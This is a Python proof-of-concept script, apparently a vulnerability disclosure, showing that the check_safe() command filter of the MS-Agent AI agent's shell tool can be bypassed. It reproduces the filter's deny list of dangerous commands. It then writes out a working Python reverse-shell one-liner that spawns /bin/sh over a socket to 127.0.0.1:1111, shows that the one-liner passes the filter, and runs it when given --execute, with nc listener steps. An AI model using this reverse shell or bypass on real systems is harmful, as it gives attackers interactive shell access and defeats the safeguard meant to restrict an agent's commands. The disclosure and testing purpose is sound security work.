#!/usr/bin/env python3 """ Simplified PoC: MS-Agent Shell Tool - Reverse Shell Bypass =========================================================== Demonstrates bypassing check_safe() to establish a reverse shell. """ import os import re import subprocess from pathlib import Path from typing import Tuple # Colors for terminal output class Colors: HEADER = '\033[95m' OKGREEN = '\033[92m' WARNING = '\033[93m' FAIL = '\033[91m' ENDC = '\033[0m' BOLD = '\033[1m' def check_safe(command: str, work_dir: str, output_dir: str = "/tmp/test_output") -> Tuple[bool, str]: """ Replica of check_safe() from ms-agent Shell tool. """ try: output_dir_abs = Path(output_dir).resolve() if work_dir.startswith('/') or work_dir.startswith('~'): work_dir_abs = Path(work_dir).resolve() else: work_dir_abs = (output_dir_abs / work_dir).resolve() if not str(work_dir_abs).startswith(str(output_dir_abs)): return False, f"Work directory '{work_dir}' is outside allowed directory '{output_dir}'" dangerous_commands = [ r'\brm\s+-rf\s+/', r'\bsudo\b', r'\bsu\b', r'\bchmod\b', r'\bchown\b', r'\breboot\b', r'\bshutdown\b', r'\bmkfs\b', r'\bdd\b', r'\bcurl\b.*\|\s*bash', r'\bwget\b.*\|\s*bash', r'\bcurl\b.*\|\s*sh\b', r'\bwget\b.*\|\s*sh\b', r'\b:\(\)\{.*\|.*&\s*\}', r'\bmount\b', r'\bumount\b', r'\bfdisk\b', r'\bparted\b', ] for pattern in dangerous_commands: if re.search(pattern, command, re.IGNORECASE): return False, f'Command contains dangerous operation: {pattern}' suspicious_patterns = [ r'(?:^|\s)/', r'\.\.', r'~', r'\$HOME', r'\$\{HOME\}', ] for pattern in suspicious_patterns: if re.search(pattern, command): potential_paths = re.findall(r'(?:^|\s)([\w\./~${}]+)', command) for path_str in potential_paths: if not path_str: continue try: expanded_path = os.path.expandvars(os.path.expanduser(path_str)) if not os.path.isabs(expanded_path): full_path = (work_dir_abs / expanded_path).resolve() else: full_path = Path(expanded_path).resolve() if not str(full_path).startswith(str(output_dir_abs)): return False, f"Command attempts to access path outside allowed directory" except Exception: continue redirect_patterns = [ r'>+\s*/(?!tmp/|var/tmp/|dev/null)', r'<\s*/etc/', r'>+\s*/dev/(?!null)', ] for pattern in redirect_patterns: if re.search(pattern, command): return False, 'Command contains dangerous redirection' if re.search(r'\bexport\b|\benv\b.*=', command, re.IGNORECASE): if re.search(r'\bPATH\s*=|LD_PRELOAD|LD_LIBRARY_PATH', command, re.IGNORECASE): return False, 'Command attempts to modify critical environment variables' shell_injection_patterns = [ r'\$\(.*\)', r'`.*`', ] for pattern in shell_injection_patterns: if re.search(pattern, command): substituted = re.findall(pattern, command) for sub_cmd in substituted: inner_cmd = re.sub(r'[\$\(\)`]', '', sub_cmd) for dangerous in dangerous_commands: if re.search(dangerous, inner_cmd, re.IGNORECASE): return False, f'Command substitution contains dangerous operation' return True, "Command passed all security checks" except Exception as e: return False, f"Error during validation: {str(e)}" def main(): print(f"\n{Colors.BOLD}{Colors.HEADER}") print("=" * 70) print(" MS-AGENT REVERSE SHELL BYPASS - PoC") print("=" * 70) print(f"{Colors.ENDC}\n") # Reverse shell command using Python (not in blocked list) # Connects to localhost:1111 reverse_shell_cmd = '''python3 -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('127.0.0.1',1111));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/sh','-i'])"''' print(f"{Colors.WARNING}BYPASS TECHNIQUE:{Colors.ENDC}") print(f" • Uses 'python3' which is NOT in the blocked commands list") print(f" • Establishes reverse shell to 127.0.0.1:1111") print(f" • Bypasses all security checks\n") print(f"{Colors.BOLD}Command to test:{Colors.ENDC}") print(f" {reverse_shell_cmd}\n") # Test against check_safe output_dir = "/tmp/test_output" work_dir = "." is_safe, message = check_safe(reverse_shell_cmd, work_dir, output_dir) if is_safe: print(f"{Colors.OKGREEN}✓ BYPASS SUCCESSFUL!{Colors.ENDC}") print(f" Security check result: {message}") print(f"{Colors.OKGREEN} The reverse shell command passed all security checks!{Colors.ENDC}\n") print(f"{Colors.WARNING}⚠️ To test execution:{Colors.ENDC}") print(f" 1. Open a new terminal window") print(f" 2. Run: nc -l 1111") print(f" 3. Run this script with --execute flag") print(f" Command: ./reverse_shell_poc.py --execute\n") else: print(f"{Colors.FAIL}✗ BLOCKED{Colors.ENDC}") print(f" Reason: {message}\n") print(f"{Colors.HEADER}{'=' * 70}{Colors.ENDC}\n") if __name__ == "__main__": import sys if "--execute" in sys.argv: print(f"{Colors.WARNING}[WARNING] This will attempt to connect to 127.0.0.1:1111{Colors.ENDC}") print(f"{Colors.WARNING}Make sure you have a listener running: nc -l 1111{Colors.ENDC}\n") response = input("Continue? (yes/no): ") if response.lower() == "yes": output_dir = "/tmp/test_output" os.makedirs(output_dir, exist_ok=True) reverse_shell_cmd = '''python3 -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('127.0.0.1',1111));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/sh','-i'])"''' try: subprocess.run(reverse_shell_cmd, shell=True, cwd=output_dir) except Exception as e: print(f"{Colors.FAIL}Error: {e}{Colors.ENDC}") else: print("Aborted.") else: main()